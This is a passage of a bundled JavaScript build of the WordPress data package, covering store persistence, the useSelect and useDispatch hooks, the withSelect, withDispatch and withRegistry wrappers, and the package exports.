2135 ...options,
2136 initialState
2137 };
2138 }
2139 const store = registry.registerStore(storeName, options);
2140 store.subscribe(
2141 createPersistOnChange(
2142 store.getState,
2143 storeName,
2144 options.persist
2145 )
2146 );
2147 return store;
2148 }
2149 };
2150 }
2151 persistencePlugin.__unstableMigrate = () => {
2152 };
2153 var persistence_default = persistencePlugin;
2154
2155 // packages/data/build-module/components/with-select/index.mjs
2156 var import_compose2 = __toESM(require_compose(), 1);
2157
2158 // packages/data/build-module/components/use-select/index.mjs
2159 var import_priority_queue = __toESM(require_priority_queue(), 1);
2160 var import_element5 = __toESM(require_element(), 1);
2161 var import_is_shallow_equal = __toESM(require_is_shallow_equal(), 1);
2162
2163 // packages/data/build-module/components/registry-provider/use-registry.mjs
2164 var import_element2 = __toESM(require_element(), 1);
2165
2166 // packages/data/build-module/components/registry-provider/context.mjs
2167 var import_element = __toESM(require_element(), 1);
2168 var Context = (0, import_element.createContext)(default_registry_default);
2169 Context.displayName = "RegistryProviderContext";
2170 var { Consumer, Provider } = Context;
2171 var RegistryConsumer = Consumer;
2172 var context_default = Provider;
2173
2174 // packages/data/build-module/components/registry-provider/use-registry.mjs
2175 function useRegistry() {
2176 return (0, import_element2.useContext)(Context);
2177 }
2178
2179 // packages/data/build-module/components/async-mode-provider/use-async-mode.mjs
2180 var import_element4 = __toESM(require_element(), 1);
2181
2182 // packages/data/build-module/components/async-mode-provider/context.mjs
2183 var import_element3 = __toESM(require_element(), 1);
2184 var Context2 = (0, import_element3.createContext)(false);
2185 Context2.displayName = "AsyncModeContext";
2186 var { Consumer: Consumer2, Provider: Provider2 } = Context2;
2187 var context_default2 = Provider2;
2188
2189 // packages/data/build-module/components/async-mode-provider/use-async-mode.mjs
2190 function useAsyncMode() {
2191 return (0, import_element4.useContext)(Context2);
2192 }
2193
2194 // packages/data/build-module/components/use-select/index.mjs
2195 var renderQueue = (0, import_priority_queue.createQueue)();
2196 function warnOnUnstableReference(a, b) {
2197 if (!a || !b) {
2198 return;
2199 }
2200 const keys = typeof a === "object" && typeof b === "object" ? Object.keys(a).filter((k) => a[k] !== b[k]) : [];
2201 console.warn(
2202 "The `useSelect` hook returns different values when called with the same state and parameters.\nThis can lead to unnecessary re-renders and performance issues if not fixed.\n\nNon-equal value keys: %s\n\n",
2203 keys.join(", ")
2204 );
2205 }
2206 function Store(registry, suspense) {
2207 const select3 = suspense ? registry.suspendSelect : registry.select;
2208 const queueContext = {};
2209 let lastMapSelect;
2210 let lastMapResult;
2211 let lastMapResultValid = false;
2212 let lastIsAsync;
2213 let subscriber;
2214 let didWarnUnstableReference;
2215 const storeStatesOnMount = /* @__PURE__ */ new Map();
2216 function getStoreState(name) {
2217 return registry.stores[name]?.store?.getState?.() ?? {};
2218 }
2219 const createSubscriber = (stores) => {
2220 const activeStores = [...stores];
2221 const activeSubscriptions = /* @__PURE__ */ new Set();
2222 function subscribe2(listener) {
2223 if (lastMapResultValid) {
2224 for (const name of activeStores) {
2225 if (storeStatesOnMount.get(name) !== getStoreState(name)) {
2226 lastMapResultValid = false;
2227 }
2228 }
2229 }
2230 storeStatesOnMount.clear();
2231 const onStoreChange = () => {
2232 lastMapResultValid = false;
2233 listener();
2234 };
2235 const onChange = () => {
2236 if (lastIsAsync) {
2237 renderQueue.add(queueContext, onStoreChange);
2238 } else {
2239 onStoreChange();
2240 }
2241 };
2242 const unsubs = [];
2243 function subscribeStore(storeName) {
2244 unsubs.push(registry.subscribe(onChange, storeName));
2245 }
2246 for (const storeName of activeStores) {
2247 subscribeStore(storeName);
2248 }
2249 activeSubscriptions.add(subscribeStore);
2250 return () => {
2251 activeSubscriptions.delete(subscribeStore);
2252 for (const unsub of unsubs.values()) {
2253 unsub?.();
2254 }
2255 renderQueue.cancel(queueContext);
2256 };
2257 }
2258 function updateStores(newStores) {
2259 for (const newStore of newStores) {
2260 if (activeStores.includes(newStore)) {
2261 continue;
2262 }
2263 activeStores.push(newStore);
2264 for (const subscription of activeSubscriptions) {
2265 subscription(newStore);
2266 }
2267 }
2268 }
2269 return { subscribe: subscribe2, updateStores };
2270 };
2271 return (mapSelect, isAsync) => {
2272 function updateValue() {
2273 if (lastMapResultValid && mapSelect === lastMapSelect) {
2274 return lastMapResult;
2275 }
2276 const listeningStores = { current: null };
2277 const mapResult = registry.__unstableMarkListeningStores(
2278 () => mapSelect(select3, registry),
2279 listeningStores
2280 );
2281 if (true) {
2282 if (!didWarnUnstableReference) {
2283 const secondMapResult = mapSelect(select3, registry);
2284 if (!(0, import_is_shallow_equal.isShallowEqual)(mapResult, secondMapResult)) {
2285 warnOnUnstableReference(mapResult, secondMapResult);
2286 didWarnUnstableReference = true;
2287 }
2288 }
2289 }
2290 if (!subscriber) {
2291 for (const name of listeningStores.current) {
2292 storeStatesOnMount.set(name, getStoreState(name));
2293 }
2294 subscriber = createSubscriber(listeningStores.current);
2295 } else {
2296 subscriber.updateStores(listeningStores.current);
2297 }
2298 if (!(0, import_is_shallow_equal.isShallowEqual)(lastMapResult, mapResult)) {
2299 lastMapResult = mapResult;
2300 }
2301 lastMapSelect = mapSelect;
2302 lastMapResultValid = true;
2303 }
2304 function getValue() {
2305 updateValue();
2306 return lastMapResult;
2307 }
2308 if (lastIsAsync && !isAsync) {
2309 lastMapResultValid = false;
2310 renderQueue.cancel(queueContext);
2311 }
2312 updateValue();
2313 lastIsAsync = isAsync;
2314 return { subscribe: subscriber.subscribe, getValue };
2315 };
2316 }
2317 function _useStaticSelect(storeName) {
2318 return useRegistry().select(storeName);
2319 }
2320 function _useMappingSelect(suspense, mapSelect, deps) {
2321 const registry = useRegistry();
2322 const isAsync = useAsyncMode();
2323 const store = (0, import_element5.useMemo)(
2324 () => Store(registry, suspense),
2325 [registry, suspense]
2326 );
2327 const selector = (0, import_element5.useCallback)(mapSelect, deps);
2328 const { subscribe: subscribe2, getValue } = store(selector, isAsync);
2329 const result = (0, import_element5.useSyncExternalStore)(subscribe2, getValue, getValue);
2330 (0, import_element5.useDebugValue)(result);
2331 return result;
2332 }
2333 function useSelect(mapSelect, deps) {
2334 const staticSelectMode = typeof mapSelect !== "function";
2335 const staticSelectModeRef = (0, import_element5.useRef)(staticSelectMode);
2336 if (staticSelectMode !== staticSelectModeRef.current) {
2337 const prevMode = staticSelectModeRef.current ? "static" : "mapping";
2338 const nextMode = staticSelectMode ? "static" : "mapping";
2339 throw new Error(
2340 `Switching useSelect from ${prevMode} to ${nextMode} is not allowed`
2341 );
2342 }
2343 return staticSelectMode ? _useStaticSelect(mapSelect) : _useMappingSelect(false, mapSelect, deps);
2344 }
2345 function useSuspenseSelect(mapSelect, deps) {
2346 return _useMappingSelect(true, mapSelect, deps);
2347 }
2348
2349 // packages/data/build-module/components/with-select/index.mjs
2350 var import_jsx_runtime = __toESM(require_jsx_runtime(), 1);
2351 var withSelect = (mapSelectToProps) => (0, import_compose2.createHigherOrderComponent)(
2352 (WrappedComponent) => (0, import_compose2.pure)((ownProps) => {
2353 const mapSelect = (select3, registry) => mapSelectToProps(select3, ownProps, registry);
2354 const mergeProps = useSelect(mapSelect);
2355 return /* @__PURE__ */ (0, import_jsx_runtime.jsx)(WrappedComponent, { ...ownProps, ...mergeProps });
2356 }),
2357 "withSelect"
2358 );
2359 var with_select_default = withSelect;
2360
2361 // packages/data/build-module/components/with-dispatch/index.mjs
2362 var import_compose4 = __toESM(require_compose(), 1);
2363
2364 // packages/data/build-module/components/use-dispatch/use-dispatch.mjs
2365 var useDispatch = (storeNameOrDescriptor) => {
2366 const { dispatch: dispatch3 } = useRegistry();
2367 return storeNameOrDescriptor === void 0 ? dispatch3 : dispatch3(storeNameOrDescriptor);
2368 };
2369 var use_dispatch_default = useDispatch;
2370
2371 // packages/data/build-module/components/use-dispatch/use-dispatch-with-map.mjs
2372 var import_element6 = __toESM(require_element(), 1);
2373 var import_compose3 = __toESM(require_compose(), 1);
2374 var useDispatchWithMap = (dispatchMap, deps) => {
2375 const registry = useRegistry();
2376 const currentDispatchMapRef = (0, import_element6.useRef)(dispatchMap);
2377 (0, import_compose3.useIsomorphicLayoutEffect)(() => {
2378 currentDispatchMapRef.current = dispatchMap;
2379 });
2380 return (0, import_element6.useMemo)(() => {
2381 const currentDispatchProps = currentDispatchMapRef.current(
2382 registry.dispatch,
2383 registry
2384 );
2385 return Object.fromEntries(
2386 Object.entries(currentDispatchProps).map(
2387 ([propName, dispatcher]) => {
2388 if (typeof dispatcher !== "function") {
2389 console.warn(
2390 `Property ${propName} returned from dispatchMap in useDispatchWithMap must be a function.`
2391 );
2392 }
2393 return [
2394 propName,
2395 (...args) => currentDispatchMapRef.current(registry.dispatch, registry)[propName](...args)
2396 ];
2397 }
2398 )
2399 );
2400 }, [registry, ...deps]);
2401 };
2402 var use_dispatch_with_map_default = useDispatchWithMap;
2403
2404 // packages/data/build-module/components/with-dispatch/index.mjs
2405 var import_jsx_runtime2 = __toESM(require_jsx_runtime(), 1);
2406 var withDispatch = (mapDispatchToProps) => (0, import_compose4.createHigherOrderComponent)(
2407 (WrappedComponent) => (ownProps) => {
2408 const mapDispatch = (dispatch3, registry) => mapDispatchToProps(dispatch3, ownProps, registry);
2409 const dispatchProps = use_dispatch_with_map_default(mapDispatch, []);
2410 return /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(WrappedComponent, { ...ownProps, ...dispatchProps });
2411 },
2412 "withDispatch"
2413 );
2414 var with_dispatch_default = withDispatch;
2415
2416 // packages/data/build-module/components/with-registry/index.mjs
2417 var import_compose5 = __toESM(require_compose(), 1);
2418 var import_jsx_runtime3 = __toESM(require_jsx_runtime(), 1);
2419 var withRegistry = (0, import_compose5.createHigherOrderComponent)(
2420 (OriginalComponent) => (props) => /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(RegistryConsumer, { children: (registry) => /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(OriginalComponent, { ...props, registry }) }),
2421 "withRegistry"
2422 );
2423 var with_registry_default = withRegistry;
2424
2425 // packages/data/build-module/dispatch.mjs
2426 function dispatch2(storeNameOrDescriptor) {
2427 return default_registry_default.dispatch(storeNameOrDescriptor);
2428 }
2429
2430 // packages/data/build-module/select.mjs
2431 function select2(storeNameOrDescriptor) {
2432 return default_registry_default.select(storeNameOrDescriptor);
2433 }
2434
2435 // packages/data/build-module/index.mjs
2436 var defaultRegistry = default_registry_default;
2437 var combineReducers2 = combineReducers;
2438 function resolveSelect2(storeNameOrDescriptor) {
2439 return defaultRegistry.resolveSelect(storeNameOrDescriptor);
2440 }
2441 var suspendSelect = (storeNameOrDescriptor) => defaultRegistry.suspendSelect(storeNameOrDescriptor);
2442 var subscribe = (listener, storeNameOrDescriptor) => defaultRegistry.subscribe(listener, storeNameOrDescriptor);
2443 var registerGenericStore = defaultRegistry.registerGenericStore;
2444 var registerStore = defaultRegistry.registerStore;
2445 var use = defaultRegistry.use;
2446 var register = (store) => defaultRegistry.register(store);
2447 return __toCommonJS(index_exports);
2448})();
2449/*! Bundled license information:
2450
2451is-plain-object/dist/is-plain-object.mjs:
2452 (*!
2453 * is-plain-object <https://github.com/jonschlinkert/is-plain-object>
2454 *
2455 * Copyright (c) 2014-2017, Jon Schlinkert.
2456 * Released under the MIT License.
2457 *)
2458*/
2459